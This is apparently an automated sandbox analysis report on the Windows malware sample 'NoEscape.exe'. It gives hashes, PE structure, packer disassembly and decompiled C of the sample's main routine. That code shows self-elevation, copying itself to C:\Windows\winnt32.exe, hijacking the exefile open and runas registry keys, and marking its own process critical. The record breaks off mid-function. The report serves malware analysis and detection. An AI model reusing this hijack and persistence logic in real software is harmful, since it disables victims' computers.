Preview:	.PNG........IHDR.......8.....g.V.....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^........6..7.~.._.9g.5.hz.T.V...&.....b..QKhd.?..B.!....!}1._..?9...).R..?9.^..`.....\p......a...>=..Aw..o.....~.N..E. .c...F.f.F.3N.a.\|,:.27.O..o.S..%Bp..aD..%...Fj.3MkX$b....%.a.X.-K.f>]..(..}YK..]M.g.1l.+...v.0....T.r`.s.Z.&..B.!..B.!.<....(w5..\|V...[.. H.j.`.....>G........!b.'y.h.^.......l.......B.!..B.!..5..,,f...uA.6.uIQ$mQ..fi..y....=..@.\|....Pb.....k2.b.-.4h.:.P..7...F.O.u_b<... ..B.q. AH_.^.......o.W.=.;<..x....G/<.O.f...Q.k.....?e:"Tf...\|.....4.L.............H.,..vcU...."../..O..\^.Q.FV....x...e.....+.B.!..B.!..B.<.._.}.,....<o5...g.?...;.X.C!F.39.....b.hk_....2^..0..c..5..u.M1.S.>..j..B.!..B.!..R.+.G..).=.....n..pp.._9...;....Y.F.4...y.O....b.S.\.u....W..._.A.......!..B....B.........vx....s....%8^.....4.F.z..\|.45.U/.)...}..g.eW.3..i4..p..)....J.a...au..-.].5./.Q.g.8....l...A.!..B.!..B....8zype...w..e.L........F....l...#..1n...9P1..D".m.

C:\Windows\winnt32.exe Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	682655
Entropy (8bit):	7.796430783389029
Encrypted:	false
SSDEEP:	12288:85J5X487qJUtcWfkVJ6g5s/cD01oKHQyis2AePsr8nP712TB:s487pcZEgwcDpg1L2tbPR2t
MD5:	989AE3D195203B323AA2B3ADF04E9833
SHA1:	31A45521BC672ABCF64E50284CA5D4E6B3687DC8
SHA-256:	D30D7676A3B4C91B77D403F81748EBF6B8824749DB5F860E114A8A204BCA5B8F
SHA-512:	E9D4E6295869F3A456C7EA2850C246D0C22AFA65C2DD5161744EE5B3E29E44D9A2D758335F98001CDB348EAA51A71CD441B4DDC12C8D72509388657126E69305
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 76%, Browse Antivirus: Metadefender, Detection: 30%, Browse Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L...De._.................<...........d.......P....@..........................................................................`.......p...I..........................................................................Ta...............................MPRESS1.P...............................MPRESS2x....`...........................rsrc....I...p...J..................@..............................................................................v2.19...... ........@..=o......7.....M.........y...M.0C.%P...............+pq.6p....$X..H%.?.....b.}....3....5.K..]..&.F.7....Zd2g......T..A....).=...w...9R.....=.m.jZ..4b.9.`....q.Ilg.Q..W(...,{?d!....,_.~.[..90...s..T..5....(4....{V.u..>z...:...eA.... Rm...=.../.....f..F..z....g....^F[..l.......hf...&..,....U...v.[,...i..b0...ak.....z.`.C..S.J..[R.~.\|..1...]}...\|.3I..%.&.,)...u4.s..g....p F.gK..O....)...6o..n..#O.....ToTb.8...[..<.K]..G{.3...G;L....r../.J...

C:\Windows\winnt32.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	MS-DOS executable, MZ for MS-DOS
Entropy (8bit):	7.796430783389029
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NoEscape.exe
File size:	682655
MD5:	989ae3d195203b323aa2b3adf04e9833
SHA1:	31a45521bc672abcf64e50284ca5d4e6b3687dc8
SHA256:	d30d7676a3b4c91b77d403f81748ebf6b8824749db5f860e114a8a204bca5b8f
SHA512:	e9d4e6295869f3a456c7ea2850c246d0c22afa65c2dd5161744ee5b3e29e44d9a2d758335f98001cdb348eaa51a71cd441b4ddc12c8d72509388657126e69305
SSDEEP:	12288:85J5X487qJUtcWfkVJ6g5s/cD01oKHQyis2AePsr8nP712TB:s487pcZEgwcDpg1L2tbPR2t
File Content Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L...De._.................<...........d.......P....@..........................................................................`.......p...I.................................................

File Icon


Icon Hash:	0ebed8c0c4d0f020

Static PE Info

General
Entrypoint:	0x5c640e
Entrypoint Section:	.MPRESS2
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5FC36544 [Sun Nov 29 09:09:24 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f400a8c725e9bcee856360087d72fec3

Entrypoint Preview

Instruction
pushad
call 00007FF830E162F5h
pop eax
add eax, 00000B5Ah
mov esi, dword ptr [eax]
add esi, eax
sub eax, eax
mov edi, esi
lodsw
shl eax, 0Ch
mov ecx, eax
push eax
lodsd
sub ecx, eax
add esi, ecx
mov ecx, eax
push edi
push ecx
dec ecx
mov al, byte ptr [ecx+edi+06h]
mov byte ptr [ecx+esi], al
jne 00007FF830E162E8h
sub eax, eax
lodsb
mov ecx, eax
and cl, FFFFFFF0h
and al, 0Fh
shl ecx, 0Ch
mov ch, al
lodsb
or ecx, eax
push ecx
add cl, ch
mov ebp, FFFFFD00h
shl ebp, cl
pop ecx
pop eax
mov ebx, esp
lea esp, dword ptr [esp+ebp*2-00000E70h]
push ecx
sub ecx, ecx
push ecx
push ecx
mov ecx, esp
push ecx
mov dx, word ptr [edi]
shl edx, 0Ch
push edx
push edi
add ecx, 04h
push ecx
push eax
add ecx, 04h
push esi
push ecx
call 00007FF830E16353h
mov esp, ebx
pop esi
pop edx
sub eax, eax
mov dword ptr [edx+esi], eax
mov ah, 10h
sub edx, eax
sub ecx, ecx
cmp ecx, edx
jnc 00007FF830E16318h
mov ebx, ecx
lodsb
inc ecx
and al, FEh
cmp al, E8h
jne 00007FF830E162E4h
inc ebx
add ecx, 04h
lodsd
or eax, eax
js 00007FF830E162F8h
cmp eax, edx
jnc 00007FF830E162D7h
jmp 00007FF830E162F8h
add eax, ebx
js 00007FF830E162D1h
add eax, edx
sub eax, ebx
mov dword ptr [esi-04h], eax
jmp 00007FF830E162C8h
call 00007FF830E162F5h
pop edi
add edi, FFFFFF4Dh
mov al, E9h
stosb
mov eax, 00000B56h
stosd
call 00007FF830E162F5h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c6000	0x410	.MPRESS2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c7000	0x4998	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1c6154	0x80	.MPRESS2
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.MPRESS1	0x1000	0x1c5000	0x98600	False	1.00006569165	data	7.99972366348	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.MPRESS2	0x1c6000	0xf78	0x1000	False	0.540771484375	data	5.94591273207	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x1c7000	0x4998	0x4a00	False	0.270428631757	data	4.18653766585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x1045e8	0xc01a8	empty	English	United States
RT_ICON	0x1c70c0	0x4228	dBase III DBT, version number 0, next free block index 40	English	United States
RT_RCDATA	0xe520	0x61ed9	data	English	United States
RT_RCDATA	0x70400	0x93036	data	English	United States
RT_RCDATA	0x103438	0x5db	empty	English	United States
RT_RCDATA	0x103a18	0xed	empty	English	United States
RT_RCDATA	0x103b08	0x133	empty	English	United States
RT_RCDATA	0x103c40	0x161	empty	English	United States
RT_RCDATA	0x103da8	0x53a	empty	English	United States
RT_GROUP_ICON	0x1cb488	0x14	data	English	United States
RT_VERSION	0x1cb4dc	0x2fc	data	English	United States
RT_MANIFEST	0x1cb818	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.DLL	GetModuleHandleA, GetProcAddress
NETAPI32.dll	NetUserAdd
ntdll.dll	RtlGetVersion
USER32.dll	GetDC
GDI32.dll	BitBlt
ADVAPI32.dll	FreeSid
SHELL32.dll	ShellExecuteW
ole32.dll	CoTaskMemFree
bcrypt.dll	BCryptGenRandom
VCRUNTIME140.dll	wcsstr
api-ms-win-crt-string-l1-1-0.dll	wmemcpy_s
api-ms-win-crt-runtime-l1-1-0.dll	exit
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-stdio-l1-1-0.dll	_set_fmode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale
api-ms-win-crt-heap-l1-1-0.dll	_set_new_mode

Version Infos

Description	Data
LegalCopyright	Copyright (C) 2020
InternalName	WinCustomize.exe
FileVersion	6.6.6.6
CompanyName	Endermanch
ProductName	Customization Tool
ProductVersion	6.6.6.6
FileDescription	Windows Customization Tool
OriginalFilename	WinCustomize.exe
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: NoEscape.exe PID: 5904 Parent PID: 6048

General

Start time:	17:33:33
Start date:	20/12/2020
Path:	C:\Users\user\Desktop\NoEscape.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\NoEscape.exe'
Imagebase:	0x400000
File size:	682655 bytes
MD5 hash:	989AE3D195203B323AA2B3ADF04E9833
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: NoEscape.exe PID: 5904 Parent PID: 6048 NoEscape.exeCOMMON

Execution Graph

Execution Coverage:	25.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.4%
Total number of Nodes:	549
Total number of Limit Nodes:	13

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401BC0, Relevance: 375.9, APIs: 153, Strings: 61, Instructions: 1433
registrymemorystringCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00401BC0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, short** _a8) {
				signed int _v8;
				signed int _v36;
				struct HWND__* _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				long _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				char _v508;
				char _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				struct HWND__* _v636;
				char _v640;
				char _v644;
				short _v656;
				struct _SID_IDENTIFIER_AUTHORITY _v660;
				struct _SYSTEMTIME _v700;
				intOrPtr _v702;
				short _v706;
				intOrPtr _v714;
				void _v716;
				short _v718;
				WCHAR** _v720;
				struct HWND__* _v732;
				struct _WNDCLASSEXW _v780;
				void* _v784;
				WCHAR* _v788;
				char _v801;
				void* _v809;
				struct tagMSG _v812;
				char _v816;
				char _v824;
				short* _v828;
				WCHAR* _v832;
				int _v836;
				intOrPtr _v840;
				int _v844;
				void* _v880;
				void* _v892;
				void* _v896;
				void* _v904;
				signed int _v916;
				int _v920;
				void* _v924;
				int _v928;
				void* _v932;
				signed int _t385;
				void* _t390;
				void* _t392;
				int _t395;
				signed int _t404;
				signed char _t410;
				signed char _t417;
				signed int _t423;
				WCHAR* _t432;
				signed int _t433;
				long _t441;
				WCHAR* _t445;
				WCHAR* _t449;
				void* _t451;
				struct _SECURITY_ATTRIBUTES* _t453;
				int _t454;
				WCHAR* _t455;
				WCHAR* _t456;
				WCHAR* _t457;
				WCHAR* _t458;
				intOrPtr _t459;
				WCHAR* _t460;
				int _t462;
				int _t468;
				WCHAR* _t472;
				void* _t473;
				int _t475;
				struct HWND__* _t476;
				long _t479;
				struct HINSTANCE__* _t482;
				intOrPtr _t491;
				WCHAR* _t493;
				WCHAR* _t499;
				long _t514;
				int _t515;
				WCHAR* _t518;
				WCHAR* _t519;
				int _t527;
				WCHAR* _t554;
				signed char _t558;
				int _t563;
				int _t564;
				signed char _t566;
				int _t574;
				WCHAR* _t596;
				long _t614;
				signed int _t617;
				WCHAR* _t618;
				signed int _t620;
				signed int _t621;
				signed int _t628;
				WCHAR* _t634;
				WCHAR* _t636;
				signed int _t637;
				int _t639;
				signed int _t647;
				WCHAR* _t650;
				void* _t659;
				short _t663;
				short _t664;
				short _t666;
				void* _t669;
				WCHAR* _t673;
				short _t678;
				WCHAR* _t679;
				void* _t684;
				intOrPtr* _t691;
				void* _t692;
				intOrPtr _t693;
				signed char _t695;
				signed char _t697;
				signed char _t698;
				short* _t704;
				WCHAR* _t705;
				signed char _t706;
				WCHAR* _t710;
				WCHAR* _t712;
				WCHAR* _t713;
				void* _t714;
				WCHAR* _t717;
				WCHAR* _t718;
				WCHAR* _t721;
				WCHAR* _t727;
				signed char _t740;
				signed char _t741;
				short** _t746;
				WCHAR* _t751;
				void* _t756;
				void* _t758;
				intOrPtr* _t759;
				void* _t761;
				WCHAR* _t763;
				WCHAR* _t764;
				void* _t765;
				struct _TOKEN_PRIVILEGES* _t766;
				int _t767;
				int _t768;
				intOrPtr* _t769;
				struct HWND__* _t773;
				int _t775;
				int _t776;
				intOrPtr* _t777;
				WCHAR* _t784;
				void* _t788;
				short* _t789;
				intOrPtr* _t790;
				signed int _t791;
				signed int _t793;
				void* _t794;
				void* _t795;

				_t793 = (_t791 & 0xfffffff8) - 0x2dc;
				_t385 =  *0x408014; // 0xffc51803
				_v8 = _t385 ^ _t793;
				_t746 = _a8;
				_v640 = _t746;
				 *0x4083d8 = GetModuleHandleW(0);
				 *0x4083e0 = GetProcessHeap();
				 *0x4083d0 = GetCurrentProcess();
				_t390 = RtlAllocateHeap( *0x4083e0, 8, 0x1866);
				_t761 = _t390;
				_v780.lpszMenuName = _t761;
				_t392 =  *0x405280( &(_v780.hIconSm), L"RNG", 0, 0, __edi, __esi, __ebx); // executed
				if(_t392 == 0) {
					_t684 = RtlAllocateHeap( *0x4083e0, 8, 0x10);
					 *0x4083b8 = _t684;
					 *0x405284(_v780.hInstance, _t684, 0x10, 0);
					 *0x40527c(_v780.style, 0);
					 *0x4050dc(0x4083a0);
				}
				_v660.Value = 0;
				_v656 = 0x500;
				_t395 = AllocateAndInitializeSid( &_v660, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &(_v780.hCursor));
				_v780.hbrBackground = _t395;
				if(_t395 == 0) {
					L91:
					ShellExecuteW(0, L"runas",  *_t746, 0, 0, 1);
					L53:
					 *0x4050e0(0x4083a0);
					HeapFree( *0x4083e0, 0,  *0x4083b8);
					CloseHandle( *0x4083d0);
					HeapFree( *0x4083e0, 0, _t761);
					return E0040410C(_v36 ^ _t793);
				}
				_t404 =  *0x405020(0, _v780.hCursor,  &(_v780.hbrBackground)); // executed
				asm("sbb eax, eax");
				_v780.hInstance = _v780.hInstance &  ~_t404;
				FreeSid(_v780.cbWndExtra);
				if(_v780.hInstance == 0) {
					goto L91;
				}
				L00404A40();
				_t794 = _t793 + 0xc;
				_v512 = 0x11c;
				 *0x405290( &_v512,  &_v508, 0, 0x118);
				if(_v512 == 0xa) {
					asm("movups xmm0, [0x4052e0]");
					_t691 =  *0x405160;
					_t410 = 0;
					 *0x4083d4 = 0;
					_t763 = _t761 + 6;
					asm("movups [esp+0x90], xmm0");
					asm("movups xmm0, [0x405340]");
					asm("movups [esp+0xa0], xmm0");
					asm("movups xmm0, [0x4052f0]");
					asm("movups [esp+0xb0], xmm0");
					asm("movups xmm0, [0x4052d0]");
					asm("movups [esp+0xc0], xmm0");
					asm("movups xmm0, [0x405300]");
					asm("movups [esp+0xd0], xmm0");
					asm("movups xmm0, [0x405310]");
					asm("movups [esp+0xe0], xmm0");
					asm("movups xmm0, [0x405330]");
					asm("movups [esp+0xf0], xmm0");
					asm("movups xmm0, [0x405320]");
					asm("movups [esp+0x100], xmm0");
					do {
						 *_t691(((_t410 & 0x000000ff) << 4) +  &_v644, 0x1000, 0,  &(_v780.cbClsExtra)); // executed
						lstrcpyW(_t763, _v784);
						_t763 =  &(_t763[0x104]);
						 *0x405298(_v784);
						_t417 =  *0x4083d4; // 0x6
						_t410 = _t417 + 1;
						 *0x4083d4 = _t410;
						__eflags = _t410 - 8;
					} while (_t410 < 8);
					_t692 = _v812.time;
					 *0x405274(_t692, 3, _t692 + 6, 2);
					_t795 = _t794 + 0x10;
					_t764 = _t692 + 0x1456;
					GetModuleFileNameW(0, _t764, 0x104);
					GetCurrentDirectoryW(0x104, _t692 + 0x124e);
					_t693 =  *0x405120;
					_t423 = lstrlenW(_t764);
					__eflags = _t764[_t423] - 0x5c;
					_t37 =  &(_t764[_t423]) - 2; // -2
					_t704 =  !=  ?  &(_t764[_t423]) : _t37;
					while(1) {
						__eflags =  *_t704 - 0x5c;
						if( *_t704 == 0x5c) {
							break;
						}
						_t704 = _t704 - 2;
						__eflags = _t704 - _t764;
						if(_t704 > _t764) {
							continue;
						}
						_t705 = 0;
						L13:
						_t765 = _v812.time;
						lstrcpyW(_t765 + 0x1046, _t705);
						wsprintfW(_t765 + 0x165e, L"%s\\winnt32.exe", _t765 + 6);
						_push(0x1866);
						_push(_t765);
						_push(0x408400);
						L00404B5A();
						_t793 = _t795 + 0x18;
						_t766 = RtlAllocateHeap( *0x4083e0, 8, 0x34);
						_t432 = OpenProcessToken( *0x4083d0, 0x28,  &_v784);
						__eflags = _t432;
						if(_t432 == 0) {
							L52:
							_t761 = _v812.time;
							goto L53;
						}
						_t766->PrivilegeCount = 4;
						_t706 = 0;
						__eflags = 0;
						_t766->Privileges = 0x11;
						 *((intOrPtr*)(_t766 + 0x10)) = 0x12;
						 *((intOrPtr*)(_t766 + 0x1c)) = 0x13;
						 *(_t766 + 0x28) = 0x14;
						do {
							_t433 = _t706 & 0x000000ff;
							_t706 = _t706 + 1;
							 *(_t766 + (_t433 + 1 + (_t433 + 1) * 2) * 4) = 3;
							__eflags = (_t706 & 0x000000ff) - _t766->PrivilegeCount;
						} while ((_t706 & 0x000000ff) < _t766->PrivilegeCount);
						 *0x4083d4 = _t706; // executed
						AdjustTokenPrivileges(_v784, 0, _t766, 0, 0, 0); // executed
						CloseHandle(_v784);
						 *((intOrPtr*)( *0x405128))( *0x4083e0, 0, _t766);
						_t441 = GetFileAttributesW(L"C:\\Windows\\winnt32.exe"); // executed
						__eflags = _t441 - 0xffffffff;
						if(_t441 != 0xffffffff) {
							GetSystemTime( &_v700);
							_t445 = RtlAllocateHeap( *0x4083e0, 8, 0x12 + lstrlenW(L"C:\\Windows\\winnt32.exe") * 2);
							 *0x4083c8 = _t445;
							 *((intOrPtr*)( *0x4051d4))(_t445, L"%s \"%%1\" %%*", L"C:\\Windows\\winnt32.exe");
							_t793 = _t793 + 0xc;
							_t767 = lstrlenW( *0x4083c8);
							_v812.message = 0x80000002;
							_t449 =  *0x4083c8; // 0x6d5dd0
							_v716 = _t449;
							__eflags = _t449;
							if(_t449 != 0) {
								_t776 = _t767 + _t767;
								__eflags = _t776;
								RegCreateKeyExW(0x80000002, L"SOFTWARE\\Classes\\exefile\\shell\\open\\command", 0, 0, 0, 0x102, 0,  &(_v812.message), 0);
								RegSetValueExW(_v812.message, 0, 0, 1, _v716, _t776);
								RegCloseKey(_v812.message);
								_t449 =  *0x4083c8; // 0x6d5dd0
							}
							_t768 = lstrlenW(_t449);
							_v812.wParam = 0x80000002;
							_t451 =  *0x4083c8; // 0x6d5dd0
							_v716 = _t451;
							__eflags = _t451;
							if(_t451 != 0) {
								_t775 = _t768 + _t768;
								__eflags = _t775;
								RegCreateKeyExW(0x80000002, L"SOFTWARE\\Classes\\exefile\\shell\\runas\\command", 0, 0, 0, 0x102, 0,  &(_v812.wParam), 0);
								RegSetValueExW(_v812.wParam, 0, 0, 1, _v716, _t775);
								RegCloseKey(_v812.wParam);
								_t451 =  *0x4083c8; // 0x6d5dd0
							}
							HeapFree( *0x4083e0, 0, _t451);
							_t453 = _t746[1];
							__eflags = _t453;
							if(_t453 != 0) {
								__eflags = _a4 - 1;
								if(_a4 <= 1) {
									goto L52;
								}
								_t454 = lstrlenW(_t453);
								__eflags = _t454 - 4;
								if(_t454 <= 4) {
									goto L52;
								}
								_t769 =  *0x4051f4; // 0x6fc55750
								_t455 =  *_t769(_t746[1], 0x2e);
								_t793 = _t793 + 8;
								__eflags = _t455;
								if(_t455 == 0) {
									goto L52;
								}
								_t456 =  *_t769(0x2e, L".exe");
								_t793 = _t793 + 8;
								_t457 = lstrcmpiW(_t456, _t746[1]);
								__eflags = _t457;
								if(_t457 != 0) {
									goto L52;
								}
								_t458 =  *0x4051e0(_t746[1], L"winnt32.exe");
								_t793 = _t793 + 8;
								__eflags = _t458;
								if(_t458 != 0) {
									goto L52;
								}
								_t459 = _v702;
								__eflags = _t459 - 0xe;
								if(_t459 != 0xe) {
									__eflags = _t459 - 0x12;
									if(_t459 != 0x12) {
										L90:
										_t460 = GetCommandLineW();
										_t462 = lstrlenW( *_v720);
										E004010E0(_t693, _v720[1],  &(_t460[_t462 + lstrlenW(_v720[1]) + 3]), _t460, _t462 + lstrlenW(_v720[1]) + 3, _t706);
										goto L52;
									}
									__eflags = _v706 - 9;
									if(_v706 != 9) {
										goto L90;
									}
									__eflags = _a4 - 2;
									if(_a4 != 2) {
										goto L52;
									}
									_t468 = lstrlenW(_t746[1]);
									__eflags = _t468 - 0xc;
									if(_t468 <= 0xc) {
										L88:
										CreateMutexW(0, 1, L"processLimitPayload");
										__eflags = GetLastError() - 0xb7;
										if(__eflags != 0) {
											E004038A0(__eflags);
										}
										goto L52;
									}
									_t472 =  *_t769(_t746[1], 0x5c);
									_t793 = _t793 + 8;
									__eflags = _t472;
									if(_t472 == 0) {
										goto L52;
									}
									_t473 =  *_t769(_t746[1], 0x5c);
									_t793 = _t793 + 8;
									_t475 = lstrlenW(_t473 + 2);
									__eflags = _t475 - 0xc;
									if(_t475 > 0xc) {
										goto L52;
									}
									goto L88;
								}
								__eflags = _v706 - 1;
								if(_v706 != 1) {
									goto L90;
								}
								_t476 = OpenMutexW(0x100000, 0, L"processLimitPayload");
								__eflags = _t476;
								if(_t476 != 0) {
									goto L90;
								}
								MessageBoxW(_t476, L"fred durst says: no computer today silly boy go outsie to play", L"(1) New Message from Fred Durst", 0x30);
								goto L52;
							} else {
								CreateMutexW(_t453, 1, L"processLimit");
								_t479 = GetLastError();
								__eflags = _t479 - 0xb7;
								if(_t479 == 0xb7) {
									goto L52;
								}
								_v716 = 1;
								NtSetInformationProcess( *0x4083d0, 0x1d,  &_v716, 4);
								_t482 =  *0x4083d8; // 0x400000
								asm("xorps xmm0, xmm0");
								_v732 = 0;
								_v780.style = 0;
								asm("movlpd [esp+0x50], xmm0");
								asm("movlpd [esp+0x64], xmm0");
								_v780.cbSize = 0x30;
								_v780.lpszClassName = L"WINNT32";
								_v780.lpfnWndProc = E004019E0;
								_v780.hInstance = _t482;
								_v780.hCursor = LoadCursorW(_t482, 0x7f00);
								_v780.hIcon = LoadIconW( *0x4083d8, 0x65);
								_v780.hIconSm = LoadIconW( *0x4083d8, 0x65);
								RegisterClassExW( &_v780);
								_t773 = CreateWindowExW(8, L"WINNT32", L"WINNT32.EXE", 0xcb0000, 0, 0, 0x190, 0x2d0, 0, 0,  *0x4083d8, 0);
								E00401750(_t693, 0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoEscape", _t773, L"ShowWindow", 4,  &_v732);
								__eflags = _v780.lpszMenuName - 1;
								if(_v780.lpszMenuName == 1) {
									ShowWindow(_t773, 5);
									UpdateWindow(_t773);
								}
								_t491 = _v714;
								__eflags = _t491 - 9;
								if(_t491 != 9) {
									__eflags = _t491 - 0x15;
									if(_t491 != 0x15) {
										goto L69;
									}
									__eflags = _v718 - 0xa;
									if(_v718 != 0xa) {
										goto L69;
									}
									CreateMutexW(0, 1, L"processLimitPayload");
									_push(0);
									_push(0);
									_push(0);
									_push(E004019B0);
									goto L68;
								} else {
									__eflags = _v718 - 3;
									if(_v718 != 3) {
										L69:
										_t493 = GetMessageW( &_v812, 0, 0, 0);
										__eflags = _t493;
										if(_t493 == 0) {
											goto L52;
										}
										do {
											TranslateMessage( &_v812);
											DispatchMessageW( &_v812);
											_t499 = GetMessageW( &_v812, 0, 0, 0);
											__eflags = _t499;
										} while (_t499 != 0);
										goto L52;
									}
									CreateMutexW(0, 1, L"processLimitPayload");
									_push(0);
									_push(0);
									_push(0);
									_push(E004019C0);
									L68:
									CreateThread(0, 0, ??, ??, ??, ??);
									goto L69;
								}
							}
						}
						CreateMutexW(0, 1, L"processLimit"); // executed
						_t514 = GetLastError();
						__eflags = _t514 - 0xb7;
						if(_t514 == 0xb7) {
							goto L52;
						}
						_t515 = MessageBoxW(0, L"This malware is no joke, continue?", L"WINNT32", 0x24); // executed
